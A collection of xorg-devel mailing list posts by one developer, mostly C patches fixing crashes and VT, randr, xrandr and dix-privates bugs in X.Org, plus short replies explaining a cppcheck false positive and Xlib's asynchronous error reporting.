Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libX11] Use flexible array member instead of fake size.

[Michal Srb]

The _XimCacheStruct structure is followed in memory by two strings containing
fname and encoding. The memory was accessed using the last member of the
structure `char fname[1]`. That is a lie, prohibits us from using sizeof and
confuses checkers. Lets declare it properly as a flexible array, so compilers
don't complain about writing past that array. As bonus we can replace the
XOffsetOf with regular sizeof.

Fixes GCC8 error:
  In function 'strcpy',
  inlined from '_XimWriteCachedDefaultTree' at imLcIm.c:479:5,
  inlined from '_XimCreateDefaultTree' at imLcIm.c:616:2,
  inlined from '_XimLocalOpenIM' at imLcIm.c:700:5:
  /usr/include/bits/string_fortified.h:90:10: error: '__builtin_strcpy'
  forming offset 2 is out of the bounds [0, 1] [-Werror=array-bounds]
 return __builtin___strcpy_chk (__dest, __src, __bos (__dest));

Caused by this line seemingly writing past the fname[1] array:
  imLcIm.c:479:  strcpy (m->fname+strlen(name)+1, encoding);
---
 modules/im/ximcp/imLcIm.c | 8 
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/modules/im/ximcp/imLcIm.c b/modules/im/ximcp/imLcIm.c
index c19695df..743df77b 100644
--- a/modules/im/ximcp/imLcIm.c
+++ b/modules/im/ximcp/imLcIm.c
@@ -82,8 +82,8 @@ struct _XimCacheStruct {
 DTCharIndex mbused;
 DTCharIndex wcused;
 DTCharIndex utf8used;
-charfname[1];
-/* char encoding[1] */
+charfname[];
+/* char encoding[] */
 };
 
 static struct  _XimCacheStruct* _XimCache_mmap = NULL;
@@ -281,7 +281,7 @@ _XimReadCachedDefaultTree(
 assert (m->id == XIM_CACHE_MAGIC);
 assert (m->version == XIM_CACHE_VERSION);
 if (size != m->size ||
-   size < XOffsetOf (struct _XimCacheStruct, fname) + namelen + 
encodinglen) {
+   size < sizeof (struct _XimCacheStruct) + namelen + encodinglen) {
fprintf (stderr, "Ignoring broken XimCache %s [%s]\n", name, encoding);
 munmap (m, size);
 return False;
@@ -442,7 +442,7 @@ _XimWriteCachedDefaultTree(
 int   fd;
 FILE *fp;
 struct _XimCacheStruct *m;
-int   msize = (XOffsetOf(struct _XimCacheStruct, fname)
+int   msize = (sizeof(struct _XimCacheStruct)
   + strlen(name) + strlen(encoding) + 2
   + XIM_CACHE_TREE_ALIGNMENT-1) & -XIM_CACHE_TREE_ALIGNMENT;
 DefTreeBase *b = >private.local.base;
-- 
2.13.6

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] randr: Do not crash if slave screen does not have provider.

[Michal Srb]

All GPU screens are attached as unbound GPUs to master, even if they have no
capabilities or the provider field is null. Handle that case in RRTellChanged.
---
This prevents crash in setups with for example two qxl devices, or fbdev and
qxl device. I am not sure if it is a proper fix and not just papering over a
bug somewhere else, but there are more places that test whether the provider
is set, so maybe it is correct way.

I would think that if a slave screen does not have provider, there is no reason
for it to become an unbound GPU in master's slave_list. Similarly if master has
no provider, then having anything in slave_list is useless. But it seems the
AttachUnboundGPU and the rest of the code handling screen to GPU screen
attachments does not know about randr's privates, so it can not check whether
provider is there.

 randr/randr.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/randr/randr.c b/randr/randr.c
index feb54bcc8..661f66da2 100644
--- a/randr/randr.c
+++ b/randr/randr.c
@@ -643,7 +643,9 @@ RRTellChanged(ScreenPtr pScreen)
 
 xorg_list_for_each_entry(iter, >slave_list, slave_head) {
 pSlaveScrPriv = rrGetScrPriv(iter);
-pSlaveScrPriv->provider->changed = FALSE;
+if (pSlaveScrPriv->provider) {
+pSlaveScrPriv->provider->changed = FALSE;
+}
 if (iter->is_output_slave) {
 for (i = 0; i < pSlaveScrPriv->numOutputs; i++)
 pSlaveScrPriv->outputs[i]->changed = FALSE;
-- 
2.13.6

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] revolve possible null pointer dereference issue found by cppcheck

[Michal Srb]

On pondělí 9. dubna 2018 9:31:54 CEST Ilya Shipitsin wrote:
> [dix/inpututils.c:909] -> [dix/inpututils.c:905]: (warning) Either the
> condition 'if(list)' is redundant or there is possible null pointer
> dereference: list.

I think this is a false positive by cppcheck. It looks like it misinterprets 
the `list.next` in the macro as dereferencing the `list` variable.

The `nt_list_init(opt, list.next)` macro expands to:

  (opt)->list.next = NULL

So wrapping it in the `if (list)` condition is not correct.

Michal Srb

> ---
>  dix/inpututils.c | 4 +++-
>  1 file changed, 3 insertions(+), 1 deletion(-)
> 
> diff --git a/dix/inpututils.c b/dix/inpututils.c
> index 6bff9efab..f4c386a24 100644
> --- a/dix/inpututils.c
> +++ b/dix/inpututils.c
> @@ -902,7 +902,9 @@ input_option_new(InputOption *list, const char *key,
> const char *value) if (!opt)
>  return NULL;
> 
> -nt_list_init(opt, list.next);
> +if (list)
> +nt_list_init(opt, list.next);
> +
>  input_option_set_key(opt, key);
>  input_option_set_value(opt, value);


___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH xrandr] xrandr: Consider transform when placing monitors relatively to each other.

[Michal Srb]

For example: xrandr --output HDMI-1 --scale 0.5 --left-of HDMI-2
Will no create any gap between HDMI-1 and HDMI-2.
---
 xrandr.c | 13 +
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/xrandr.c b/xrandr.c
index 7f1e867..21e121a 100644
--- a/xrandr.c
+++ b/xrandr.c
@@ -2015,6 +2015,7 @@ set_positions (void)
 Bool   keep_going;
 Bool   any_set;
 intmin_x, min_y;
+box_t  bounds;
 
 for (;;)
 {
@@ -2054,20 +2055,24 @@ set_positions (void)

switch (output->relation) {
case relation_left_of:
+   mode_geometry(output->mode_info, output->rotation, 
>transform.transform, );
output->y = relation->y;
-   output->x = relation->x - mode_width (output->mode_info, 
output->rotation);
+   output->x = relation->x - bounds.x2;
break;
case relation_right_of:
+   mode_geometry(relation->mode_info, relation->rotation, 
>transform.transform, );
output->y = relation->y;
-   output->x = relation->x + mode_width (relation->mode_info, 
relation->rotation);
+   output->x = relation->x + bounds.x2;
break;
case relation_above:
+   mode_geometry(output->mode_info, output->rotation, 
>transform.transform, );
output->x = relation->x;
-   output->y = relation->y - mode_height (output->mode_info, 
output->rotation);
+   output->y = relation->y - bounds.y2;
break;
case relation_below:
+   mode_geometry(relation->mode_info, relation->rotation, 
>transform.transform, );
output->x = relation->x;
-   output->y = relation->y + mode_height (relation->mode_info, 
relation->rotation);
+   output->y = relation->y + bounds.y2;
break;
case relation_same_as:
output->x = relation->x;
-- 
2.13.6

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] xfree86: Only switch to original VT if it is active.

[Michal Srb]

If the X server is terminated while its VT is not active, it should
not change the current VT.
---
Changing the VT in that situation serves no purpose and can be confusing.
For example when a user's graphical session is terminated while other
user is using the computer, it would switch the VT he is working on.

 hw/xfree86/common/xf86Events.c   | 4 
 hw/xfree86/common/xf86Globals.c  | 1 +
 hw/xfree86/common/xf86Privstr.h  | 1 +
 hw/xfree86/os-support/linux/lnx_init.c   | 4 +++-
 hw/xfree86/os-support/linux/systemd-logind.c | 5 -
 5 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/hw/xfree86/common/xf86Events.c b/hw/xfree86/common/xf86Events.c
index 80676c669..1e52c4f12 100644
--- a/hw/xfree86/common/xf86Events.c
+++ b/hw/xfree86/common/xf86Events.c
@@ -405,6 +405,8 @@ xf86VTLeave(void)
 if (xorgHWAccess)
 xf86DisableIO();
 
+xf86Info.hasVT = FALSE;
+
 xf86UpdateHasVTProperty(FALSE);
 
 return;
@@ -488,6 +490,8 @@ xf86VTEnter(void)
 xf86platformVTProbe();
 #endif
 
+xf86Info.hasVT = TRUE;
+
 xf86UpdateHasVTProperty(TRUE);
 
 input_unlock();
diff --git a/hw/xfree86/common/xf86Globals.c b/hw/xfree86/common/xf86Globals.c
index 193f17aec..8bd8f8165 100644
--- a/hw/xfree86/common/xf86Globals.c
+++ b/hw/xfree86/common/xf86Globals.c
@@ -106,6 +106,7 @@ xf86InfoRec xf86Info = {
 .dontVTSwitch = FALSE,
 .autoVTSwitch = TRUE,
 .ShareVTs = FALSE,
+.hasVT = FALSE,
 .dontZap = FALSE,
 .dontZoom = FALSE,
 .currentScreen = NULL,
diff --git a/hw/xfree86/common/xf86Privstr.h b/hw/xfree86/common/xf86Privstr.h
index 55d1b2455..e4d827dee 100644
--- a/hw/xfree86/common/xf86Privstr.h
+++ b/hw/xfree86/common/xf86Privstr.h
@@ -61,6 +61,7 @@ typedef struct {
 Bool dontVTSwitch;
 Bool autoVTSwitch;
 Bool ShareVTs;
+Bool hasVT;
 Bool dontZap;
 Bool dontZoom;
 
diff --git a/hw/xfree86/os-support/linux/lnx_init.c 
b/hw/xfree86/os-support/linux/lnx_init.c
index 039dc4a4d..a8c43782a 100644
--- a/hw/xfree86/os-support/linux/lnx_init.c
+++ b/hw/xfree86/os-support/linux/lnx_init.c
@@ -233,6 +233,8 @@ xf86OpenConsole(void)
 if (!switch_to(xf86Info.vtno, "xf86OpenConsole"))
 FatalError("xf86OpenConsole: Switching VT failed\n");
 
+xf86Info.hasVT = TRUE;
+
 SYSCALL(ret = ioctl(xf86Info.consoleFd, VT_GETMODE, ));
 if (ret < 0)
 FatalError("xf86OpenConsole: VT_GETMODE failed %s\n",
@@ -334,7 +336,7 @@ xf86CloseConsole(void)
 strerror(errno));
 }
 
-if (xf86Info.autoVTSwitch) {
+if (xf86Info.autoVTSwitch && xf86Info.hasVT) {
 /*
  * Perform a switch back to the active VT when we were started
  */
diff --git a/hw/xfree86/os-support/linux/systemd-logind.c 
b/hw/xfree86/os-support/linux/systemd-logind.c
index 13784d15c..0d3f2de27 100644
--- a/hw/xfree86/os-support/linux/systemd-logind.c
+++ b/hw/xfree86/os-support/linux/systemd-logind.c
@@ -37,6 +37,7 @@
 #include "linux.h"
 #include "xf86.h"
 #include "xf86platformBus.h"
+#include "xf86Priv.h"
 #include "xf86Xinput.h"
 #include "globals.h"
 
@@ -242,8 +243,10 @@ systemd_logind_vtenter(void)
 if (!info->active)
 return; /* Session not active */
 
-if (info->vt_active)
+if (info->vt_active) {
+xf86Info.hasVT = TRUE;
 return; /* Already did vtenter */
+}
 
 for (i = 0; i < xf86_num_platform_devices; i++) {
 if (xf86_platform_devices[i].flags & XF86_PDEV_PAUSED)
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] xfree86: Only switch to original VT if it is active.

[Michal Srb]

If the X server is terminated while its VT is not active, it should
not change the current VT.

v2: Query current state in xf86CloseConsole using VT_GETSTATE instead of
keeping track in xf86VTEnter/xf86VTLeave/etc.
---
Changing the VT in that situation serves no purpose and can be confusing.
For example when a user's graphical session is terminated while other
user is using the computer, it would switch the VT he is working on.
 hw/xfree86/os-support/linux/lnx_init.c | 16 +---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/hw/xfree86/os-support/linux/lnx_init.c 
b/hw/xfree86/os-support/linux/lnx_init.c
index 039dc4a4d..358d89f0f 100644
--- a/hw/xfree86/os-support/linux/lnx_init.c
+++ b/hw/xfree86/os-support/linux/lnx_init.c
@@ -299,6 +299,7 @@ void
 xf86CloseConsole(void)
 {
 struct vt_mode VT;
+struct vt_stat vts;
 int ret;
 
 if (xf86Info.ShareVTs) {
@@ -336,10 +337,19 @@ xf86CloseConsole(void)
 
 if (xf86Info.autoVTSwitch) {
 /*
- * Perform a switch back to the active VT when we were started
- */
+* Perform a switch back to the active VT when we were started if our
+* vt is active now.
+*/
 if (activeVT >= 0) {
-switch_to(activeVT, "xf86CloseConsole");
+SYSCALL(ret = ioctl(xf86Info.consoleFd, VT_GETSTATE, ));
+if (ret < 0) {
+xf86Msg(X_WARNING, "xf86OpenConsole: VT_GETSTATE failed: %s\n",
+strerror(errno));
+} else {
+if (vts.v_active == xf86Info.vtno) {
+switch_to(activeVT, "xf86CloseConsole");
+}
+}
 activeVT = -1;
 }
 }
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] xfree86: Only switch to original VT if it is active.

[Michal Srb]

On pátek 12. října 2018 16:18:11 CEST Adam Jackson wrote:
> On Thu, 2018-10-11 at 16:45 +0200, Michal Srb wrote:
> > If the X server is terminated while its VT is not active, it should
> > not change the current VT.
> > ---
> > Changing the VT in that situation serves no purpose and can be confusing.
> > For example when a user's graphical session is terminated while other
> > user is using the computer, it would switch the VT he is working on.
> 
> Conceptual ack. Would slightly prefer to see this done by
> VT_GETSTATE/VT_GETACTIVE ioctl (depending which OS you're on). It
> should be simpler, and also...

Ok, thank you for your response, that will indeed be simpler.

The VT_GETACTIVE seems to be on BSD while VT_GETSTATE is on Linux. The code 
doing the switching back to original VT is only in Linux part, so only that 
one needs to be modified.

I'll send version 2.

Michal


___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] dix/window: Use ConfigureWindow instead of MoveWindow

[Michal Srb]

The screensaver can regularly move its window to random offsets. It should
use the ConfigureWindow function instead of calling the Screen's MoveWindow
directly. Some MoveWindow implementations, such as compMoveWindow, rely on
Screen's ConfigNotify being called first as it happens in ConfigureWindow.
---
This fixes abort from assertion failure if compositing is used together with
screensaver configured using "xset s 2 1 s noblank" command.

The compCopyWindow function would abort because of:

  assert(cw->oldx != COMP_ORIGIN_INVALID);

Because the cw->oldx is set from compReallocPixmap which is only called
from compConfigNotify.

Alternatively, if the MoveWindow is supposed to work independently, the
compMoveWindow must be adapted to handle the case when oldx/oldy is
set to COMP_ORIGIN_INVALID.

 dix/window.c | 14 ++
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/dix/window.c b/dix/window.c
index 2b599e788..f4ace76c7 100644
--- a/dix/window.c
+++ b/dix/window.c
@@ -3094,6 +3094,7 @@ int
 dixSaveScreens(ClientPtr client, int on, int mode)
 {
 int rc, i, what, type;
+XID vlist[2];
 
 if (on == SCREEN_SAVER_FORCER) {
 if (mode == ScreenSaverReset)
@@ -3146,14 +3147,11 @@ dixSaveScreens(ClientPtr client, int on, int mode)
  * for the root window, so PaintWindow works
  */
 screenIsSaved = SCREEN_SAVER_OFF;
-(*pWin->drawable.pScreen->MoveWindow) (pWin,
-   (short) (-
-(rand() %
- 
RANDOM_WIDTH)),
-   (short) (-
-(rand() %
- 
RANDOM_WIDTH)),
-   pWin->nextSib, VTMove);
+
+vlist[0] = -(rand() % RANDOM_WIDTH);
+vlist[1] = -(rand() % RANDOM_WIDTH);
+ConfigureWindow(pWin, CWX | CWY, vlist, client);
+
 screenIsSaved = SCREEN_SAVER_ON;
 }
 /*
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: XCreateGC can generate BadAlloc, BadDrawable, BadFont, BadMatch, BadPixmap, and BadValue errors.

[Michal Srb]

On úterý 1. ledna 2019 23:05:31 CET Dennis Clarke wrote:
> Dumb question I am sure but as I see at :
> 
>https://www.x.org/releases/X11R7.7/doc/man/man3/XCreateGC.3.xhtml
> 
> Where it says :
> 
>  XCreateGC can generate BadAlloc, BadDrawable, BadFont,
>  BadMatch, BadPixmap, and BadValue errors.
> 
> 
> Yes but where exactly are these errors returned?  I see the
> "DIAGNOSTICS" section at the bottom of that page but where does
> one fetch the error state?
> 
> One may do :
> 
>  gc = XCreateGC(dsp, win, valuemask, );
>  /* note that a 32-bit system will throw a warning about
>   * cast from pointer to integer of different size with
>   * (int64_t) type used on a pointer comparison. */
>  if ((int64_t)gc < 0) { /* just taser me */
>  fprintf(stderr, "XCreateGC failed\n");
>  exit(EXIT_FAILURE); /* clumsy */
>  }
> 
> 
> However that just can't be right.
> 
> Where is the error state returned ?

Most libX11 functions are asynchronous. What you get from XCreateGC is a local 
handle. When the function finished, the request was not even sent to X server 
yet. It will be sent once XFlush/XSync is called, or when the send buffer 
fills up or when some other synchronous function causes flush.

If there is an error, libX11 will call error handler. Either the default one 
or your own:

https://tronche.com/gui/x/xlib/event-handling/protocol-errors/
XSetErrorHandler.html

The only thing you can check after calling XCreateGC is if you did not receive 
NULL. It could happen if your program run out of memory.

Michal


___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] dix: Track DevPrivateKey initialization by generation

[Michal Srb]

The dixRegisterPrivateKey and dixRegisterScreenSpecificPrivateKey functions
must ignore key if it is being registered for second time. At the same time,
they must accept the key again after internal restart. To achive that, the
"initialized" flag existed and was cleared in dixResetPrivates and
dixFreeScreenSpecificPrivates respectively.

The dixFreeScreenSpecificPrivates was called before CloseScreen which meant
that accessing privates in it would trigger assertion failure. It could not
be called after CloseScreen, because some of the keys may be deallocated in
CloseScreen.

This patch turns the "initialized" flag into "initializedInGeneration"
counter. The key was initialized if it equals current serverGeneration. This
way no explicit clearing is needed.

The dixFreeScreenSpecificPrivates is left empty as it was before 82eb490.

Signed-off-by: Michal Srb 
Fixes: 82eb490 (privates: Clear screen-specific keys during CloseScreen)
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=108762
---
 dix/privates.c | 19 +--
 include/privates.h |  6 +++---
 2 files changed, 8 insertions(+), 17 deletions(-)

diff --git a/dix/privates.c b/dix/privates.c
index 9ca80f0b6..ea4ec2567 100644
--- a/dix/privates.c
+++ b/dix/privates.c
@@ -337,7 +337,7 @@ dixRegisterPrivateKey(DevPrivateKey key, DevPrivateType 
type, unsigned size)
 int offset;
 unsigned bytes;
 
-if (key->initialized) {
+if (key->initializedInGeneration == (unsigned int) serverGeneration) {
 assert(size == key->size);
 return TRUE;
 }
@@ -392,7 +392,7 @@ dixRegisterPrivateKey(DevPrivateKey key, DevPrivateType 
type, unsigned size)
 /* Setup this key */
 key->offset = offset;
 key->size = size;
-key->initialized = TRUE;
+key->initializedInGeneration = (unsigned int) serverGeneration;
 key->type = type;
 key->allocated = FALSE;
 key->next = global_keys[type].key;
@@ -605,7 +605,7 @@ dixRegisterScreenSpecificPrivateKey(ScreenPtr pScreen, 
DevPrivateKey key,
 FatalError("Attempt to allocate screen-specific private storage for 
type %s\n",
key_names[type]);
 
-if (key->initialized) {
+if (key->initializedInGeneration == (unsigned int) serverGeneration) {
 assert(size == key->size);
 return TRUE;
 }
@@ -626,7 +626,7 @@ dixRegisterScreenSpecificPrivateKey(ScreenPtr pScreen, 
DevPrivateKey key,
 /* Setup this key */
 key->offset = offset;
 key->size = size;
-key->initialized = TRUE;
+key->initializedInGeneration = (unsigned int) serverGeneration;
 key->type = type;
 key->allocated = FALSE;
 key->next = pScreen->screenSpecificPrivates[type].key;
@@ -639,15 +639,6 @@ dixRegisterScreenSpecificPrivateKey(ScreenPtr pScreen, 
DevPrivateKey key,
 void
 dixFreeScreenSpecificPrivates(ScreenPtr pScreen)
 {
-DevPrivateType t;
-
-for (t = PRIVATE_XSELINUX; t < PRIVATE_LAST; t++) {
-DevPrivateKey key;
-
-for (key = pScreen->screenSpecificPrivates[t].key; key; key = 
key->next) {
-key->initialized = FALSE;
-}
-}
 }
 
 /* Initialize screen-specific privates in AddScreen */
@@ -763,7 +754,7 @@ dixResetPrivates(void)
 for (key = global_keys[t].key; key; key = next) {
 next = key->next;
 key->offset = 0;
-key->initialized = FALSE;
+key->initializedInGeneration = 0;
 key->size = 0;
 key->type = 0;
 if (key->allocated)
diff --git a/include/privates.h b/include/privates.h
index e89c3e440..a1833b0ab 100644
--- a/include/privates.h
+++ b/include/privates.h
@@ -58,7 +58,7 @@ typedef enum {
 typedef struct _DevPrivateKeyRec {
 int offset;
 int size;
-Bool initialized;
+unsigned int initializedInGeneration;
 Bool allocated;
 DevPrivateType type;
 struct _DevPrivateKeyRec *next;
@@ -106,7 +106,7 @@ extern _X_EXPORT Bool
 static inline Bool
 dixPrivateKeyRegistered(DevPrivateKey key)
 {
-return key->initialized;
+return key->initializedInGeneration == (unsigned int) serverGeneration;
 }
 
 /*
@@ -118,7 +118,7 @@ dixPrivateKeyRegistered(DevPrivateKey key)
 static inline void *
 dixGetPrivateAddr(PrivatePtr *privates, const DevPrivateKey key)
 {
-assert(key->initialized);
+assert(dixPrivateKeyRegistered(key));
 return (char *) (*privates) + key->offset;
 }
 
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] dix: Ignore initialized flag for screen-specific privates

[Michal Srb]

The dixRegisterScreenSpecificPrivateKey function ignores attempts to register
the same key twice. Unlike dixRegisterPrivateKey, it can not use the
"initialized" flag because there is no good place where to set it to FALSE
during reset.

Setting it before CloseScreen makes the keys unuseable in CloseScreen. Setting
it after CloseScreen is not possible because some keys may have been
deallocated by CloseScreen.

Instead just search the list and ignore keys that are already there.

The dixFreeScreenSpecificPrivates is left empty as it was before 82eb490.

Signed-off-by: Michal Srb 
Fixes: 82eb490 (privates: Clear screen-specific keys during CloseScreen)
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=108762
---
 dix/privates.c | 23 +++
 1 file changed, 11 insertions(+), 12 deletions(-)

diff --git a/dix/privates.c b/dix/privates.c
index 9ca80f0b6..6c31500e4 100644
--- a/dix/privates.c
+++ b/dix/privates.c
@@ -600,14 +600,22 @@ dixRegisterScreenSpecificPrivateKey(ScreenPtr pScreen, 
DevPrivateKey key,
 {
 int offset;
 unsigned bytes;
+DevPrivateKey iter;
 
 if (!screen_specific_private[type])
 FatalError("Attempt to allocate screen-specific private storage for 
type %s\n",
key_names[type]);
 
-if (key->initialized) {
-assert(size == key->size);
-return TRUE;
+/*
+ * We can not simply check key->initialized, because there is no
+ * reasonable place where it could be set to FALSE during internal reset.
+ */
+for (iter = pScreen->screenSpecificPrivates[type].key; iter;
+ iter = iter->next) {
+if (iter == key) {
+assert(size == key->size);
+return TRUE;
+}
 }
 
 /* Compute required space */
@@ -639,15 +647,6 @@ dixRegisterScreenSpecificPrivateKey(ScreenPtr pScreen, 
DevPrivateKey key,
 void
 dixFreeScreenSpecificPrivates(ScreenPtr pScreen)
 {
-DevPrivateType t;
-
-for (t = PRIVATE_XSELINUX; t < PRIVATE_LAST; t++) {
-DevPrivateKey key;
-
-for (key = pScreen->screenSpecificPrivates[t].key; key; key = 
key->next) {
-key->initialized = FALSE;
-}
-}
 }
 
 /* Initialize screen-specific privates in AddScreen */
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH 0/2] Allow using of screen-specific privates in CloseScreen

[Michal Srb]

Hi,

Those are two alternative fixes for
https://bugs.freedesktop.org/show_bug.cgi?id=108762
Either of them alone fixes the bug.

Brief description of the bug: Sometimes the screen-specific privates need to
be accessed in CloseScreen, but their `initialized` flag is already FALSE which
causes assertion failure. The flag has to be set to FALSE for them to get
reinitialized after restart. It is set before CloseScreen, because after it
some of the keys may be deallocated. More details in the bug.

* dix: Track DevPrivateKey initialization by generation
  Instead of using boolean flag, use a number that is set to the server
  generation which initialized it => no need to reset it, it "resets"
  automatically when serverGeneration increments. Downside: changes the
  _DevPrivateKeyRec struct.

* dix: Ignore initialized flag for screen-specific privates
  Never reset the `initialized` flag for screen-specific privates and never
  look at it. Instead search the list of already registered keys in
  `dixRegisterScreenSpecificPrivateKey` to determine if it was already
  registered.

Michal Srb (1):
  dix: Ignore initialized flag for screen-specific privates
  dix: Track DevPrivateKey initialization by generation

 dix/privates.c | 23 +++
 1 file changed, 11 insertions(+), 12 deletions(-)

-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] xfree86: Do not claim pci slots if fb slot is already claimed

[Michal Srb]

The xf86PostProbe would terminate with fatal error if both fb and pci
slots were claimed at the same time, so there is no point in trying.
The opposite logic already exists in xf86ClaimFbSlot - fb slots will
not be claimed if any pci slot was claimed.

This fixes issue when (autoconfigured) fbdev and vesa drivers both claim
a device (e.g. /dev/fb0 provided by the vesafb kernel driver).

Signed-off-by: Michal Srb 
---
 hw/xfree86/common/xf86pciBus.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/hw/xfree86/common/xf86pciBus.c b/hw/xfree86/common/xf86pciBus.c
index 0718cdcb0..24396a63c 100644
--- a/hw/xfree86/common/xf86pciBus.c
+++ b/hw/xfree86/common/xf86pciBus.c
@@ -212,6 +212,9 @@ xf86ClaimPciSlot(struct pci_device *d, DriverPtr drvp,
 EntityPtr p = NULL;
 int num;
 
+if (fbSlotClaimed)
+return -1;
+
 if (xf86CheckPciSlot(d)) {
 num = xf86AllocateEntity();
 p = xf86Entities[num];
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel